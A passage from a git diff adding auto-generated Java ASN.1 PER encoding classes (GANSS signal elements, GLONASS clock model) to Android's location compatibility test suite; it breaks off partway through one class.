+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cNoType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class carrierQualityIndType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_carrierQualityIndType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public carrierQualityIndType() {
+ super();
+ setValueRange("0", "3");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_carrierQualityIndType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_carrierQualityIndType != null) {
+ return ImmutableList.of(TAG_carrierQualityIndType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new carrierQualityIndType from encoded stream.
+ */
+ public static carrierQualityIndType fromPerUnaligned(byte[] encodedBytes) {
+ carrierQualityIndType result = new carrierQualityIndType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new carrierQualityIndType from encoded stream.
+ */
+ public static carrierQualityIndType fromPerAligned(byte[] encodedBytes) {
+ carrierQualityIndType result = new carrierQualityIndType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "carrierQualityIndType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class codePhaseType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_codePhaseType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public codePhaseType() {
+ super();
+ setValueRange("0", "2097151");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_codePhaseType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_codePhaseType != null) {
+ return ImmutableList.of(TAG_codePhaseType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new codePhaseType from encoded stream.
+ */
+ public static codePhaseType fromPerUnaligned(byte[] encodedBytes) {
+ codePhaseType result = new codePhaseType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new codePhaseType from encoded stream.
+ */
+ public static codePhaseType fromPerAligned(byte[] encodedBytes) {
+ codePhaseType result = new codePhaseType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "codePhaseType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class integerCodePhaseType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_integerCodePhaseType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public integerCodePhaseType() {
+ super();
+ setValueRange("0", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_integerCodePhaseType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_integerCodePhaseType != null) {
+ return ImmutableList.of(TAG_integerCodePhaseType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new integerCodePhaseType from encoded stream.
+ */
+ public static integerCodePhaseType fromPerUnaligned(byte[] encodedBytes) {
+ integerCodePhaseType result = new integerCodePhaseType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new integerCodePhaseType from encoded stream.
+ */
+ public static integerCodePhaseType fromPerAligned(byte[] encodedBytes) {
+ integerCodePhaseType result = new integerCodePhaseType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "integerCodePhaseType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class codePhaseRMSErrorType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_codePhaseRMSErrorType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public codePhaseRMSErrorType() {
+ super();
+ setValueRange("0", "63");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_codePhaseRMSErrorType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_codePhaseRMSErrorType != null) {
+ return ImmutableList.of(TAG_codePhaseRMSErrorType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new codePhaseRMSErrorType from encoded stream.
+ */
+ public static codePhaseRMSErrorType fromPerUnaligned(byte[] encodedBytes) {
+ codePhaseRMSErrorType result = new codePhaseRMSErrorType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new codePhaseRMSErrorType from encoded stream.
+ */
+ public static codePhaseRMSErrorType fromPerAligned(byte[] encodedBytes) {
+ codePhaseRMSErrorType result = new codePhaseRMSErrorType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "codePhaseRMSErrorType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class dopplerType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_dopplerType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public dopplerType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_dopplerType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_dopplerType != null) {
+ return ImmutableList.of(TAG_dopplerType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new dopplerType from encoded stream.
+ */
+ public static dopplerType fromPerUnaligned(byte[] encodedBytes) {
+ dopplerType result = new dopplerType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new dopplerType from encoded stream.
+ */
+ public static dopplerType fromPerAligned(byte[] encodedBytes) {
+ dopplerType result = new dopplerType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "dopplerType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class adrType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_adrType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public adrType() {
+ super();
+ setValueRange("0", "33554431");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_adrType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_adrType != null) {
+ return ImmutableList.of(TAG_adrType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new adrType from encoded stream.
+ */
+ public static adrType fromPerUnaligned(byte[] encodedBytes) {
+ adrType result = new adrType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new adrType from encoded stream.
+ */
+ public static adrType fromPerAligned(byte[] encodedBytes) {
+ adrType result = new adrType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "adrType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSS_SgnElement = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_SgnTypeElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_SgnTypeElement.java
new file mode 100755
index 0000000..7cbb6cd
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_SgnTypeElement.java
@@ -0,0 +1,426 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSS_SgnTypeElement extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSS_SgnTypeElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSS_SgnTypeElement() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSS_SgnTypeElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSS_SgnTypeElement != null) {
+ return ImmutableList.of(TAG_GANSS_SgnTypeElement);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSS_SgnTypeElement from encoded stream.
+ */
+ public static GANSS_SgnTypeElement fromPerUnaligned(byte[] encodedBytes) {
+ GANSS_SgnTypeElement result = new GANSS_SgnTypeElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSS_SgnTypeElement from encoded stream.
+ */
+ public static GANSS_SgnTypeElement fromPerAligned(byte[] encodedBytes) {
+ GANSS_SgnTypeElement result = new GANSS_SgnTypeElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSSignalID ganssSignalID_;
+ public GANSSSignalID getGanssSignalID() {
+ return ganssSignalID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSSignalID
+ */
+ public void setGanssSignalID(Asn1Object value) {
+ this.ganssSignalID_ = (GANSSSignalID) value;
+ }
+ public GANSSSignalID setGanssSignalIDToNewInstance() {
+ ganssSignalID_ = new GANSSSignalID();
+ return ganssSignalID_;
+ }
+
+ private GANSS_SgnTypeElement.ganssCodePhaseAmbiguityType ganssCodePhaseAmbiguity_;
+ public GANSS_SgnTypeElement.ganssCodePhaseAmbiguityType getGanssCodePhaseAmbiguity() {
+ return ganssCodePhaseAmbiguity_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSS_SgnTypeElement.ganssCodePhaseAmbiguityType
+ */
+ public void setGanssCodePhaseAmbiguity(Asn1Object value) {
+ this.ganssCodePhaseAmbiguity_ = (GANSS_SgnTypeElement.ganssCodePhaseAmbiguityType) value;
+ }
+ public GANSS_SgnTypeElement.ganssCodePhaseAmbiguityType setGanssCodePhaseAmbiguityToNewInstance() {
+ ganssCodePhaseAmbiguity_ = new GANSS_SgnTypeElement.ganssCodePhaseAmbiguityType();
+ return ganssCodePhaseAmbiguity_;
+ }
+
+ private SeqOfGANSS_SgnElement ganss_SgnList_;
+ public SeqOfGANSS_SgnElement getGanss_SgnList() {
+ return ganss_SgnList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOfGANSS_SgnElement
+ */
+ public void setGanss_SgnList(Asn1Object value) {
+ this.ganss_SgnList_ = (SeqOfGANSS_SgnElement) value;
+ }
+ public SeqOfGANSS_SgnElement setGanss_SgnListToNewInstance() {
+ ganss_SgnList_ = new SeqOfGANSS_SgnElement();
+ return ganss_SgnList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssSignalID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssSignalID();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssSignalIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSSignalID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssSignalID : "
+ + getGanssSignalID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssCodePhaseAmbiguity() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssCodePhaseAmbiguity();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssCodePhaseAmbiguityToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSS_SgnTypeElement.ganssCodePhaseAmbiguityType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssCodePhaseAmbiguity : "
+ + getGanssCodePhaseAmbiguity().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanss_SgnList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanss_SgnList();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanss_SgnListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfGANSS_SgnElement.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganss_SgnList : "
+ + getGanss_SgnList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssCodePhaseAmbiguityType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssCodePhaseAmbiguityType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssCodePhaseAmbiguityType() {
+ super();
+ setValueRange("0", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssCodePhaseAmbiguityType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssCodePhaseAmbiguityType != null) {
+ return ImmutableList.of(TAG_ganssCodePhaseAmbiguityType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssCodePhaseAmbiguityType from encoded stream.
+ */
+ public static ganssCodePhaseAmbiguityType fromPerUnaligned(byte[] encodedBytes) {
+ ganssCodePhaseAmbiguityType result = new ganssCodePhaseAmbiguityType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssCodePhaseAmbiguityType from encoded stream.
+ */
+ public static ganssCodePhaseAmbiguityType fromPerAligned(byte[] encodedBytes) {
+ ganssCodePhaseAmbiguityType result = new ganssCodePhaseAmbiguityType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssCodePhaseAmbiguityType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSS_SgnTypeElement = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GLONASSclockModel.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GLONASSclockModel.java
new file mode 100755
index 0000000..bc82d7f
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GLONASSclockModel.java
@@ -0,0 +1,588 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GLONASSclockModel extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GLONASSclockModel
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GLONASSclockModel() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GLONASSclockModel;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GLONASSclockModel != null) {
+ return ImmutableList.of(TAG_GLONASSclockModel);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GLONASSclockModel from encoded stream.
+ */
+ public static GLONASSclockModel fromPerUnaligned(byte[] encodedBytes) {
+ GLONASSclockModel result = new GLONASSclockModel();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GLONASSclockModel from encoded stream.
+ */
+ public static GLONASSclockModel fromPerAligned(byte[] encodedBytes) {
+ GLONASSclockModel result = new GLONASSclockModel();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GLONASSclockModel.gloTauType gloTau_;
+ public GLONASSclockModel.gloTauType getGloTau() {
+ return gloTau_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GLONASSclockModel.gloTauType
+ */
+ public void setGloTau(Asn1Object value) {
+ this.gloTau_ = (GLONASSclockModel.gloTauType) value;
+ }
+ public GLONASSclockModel.gloTauType setGloTauToNewInstance() {
+ gloTau_ = new GLONASSclockModel.gloTauType();
+ return gloTau_;
+ }
+
+ private GLONASSclockModel.gloGammaType gloGamma_;
+ public GLONASSclockModel.gloGammaType getGloGamma() {
+ return gloGamma_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GLONASSclockModel.gloGammaType
+ */
+ public void setGloGamma(Asn1Object value) {
+ this.gloGamma_ = (GLONASSclockModel.gloGammaType) value;
+ }
+ public GLONASSclockModel.gloGammaType setGloGammaToNewInstance() {
+ gloGamma_ = new GLONASSclockModel.gloGammaType();
+ return gloGamma_;
+ }
+
+ private GLONASSclockModel.gloDeltaTauType gloDeltaTau_;
+ public GLONASSclockModel.gloDeltaTauType getGloDeltaTau() {
+ return gloDeltaTau_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GLONASSclockModel.gloDeltaTauType
+ */
+ public void setGloDeltaTau(Asn1Object value) {
+ this.gloDeltaTau_ = (GLONASSclockModel.gloDeltaTauType) value;
+ }
+ public GLONASSclockModel.gloDeltaTauType setGloDeltaTauToNewInstance() {
+ gloDeltaTau_ = new GLONASSclockModel.gloDeltaTauType();
+ return gloDeltaTau_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGloTau() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGloTau();
+ }
+
+ @Override public void setToNewInstance() {
+ setGloTauToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GLONASSclockModel.gloTauType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gloTau : "
+ + getGloTau().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGloGamma() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGloGamma();
+ }
+
+ @Override public void setToNewInstance() {
+ setGloGammaToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GLONASSclockModel.gloGammaType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gloGamma : "
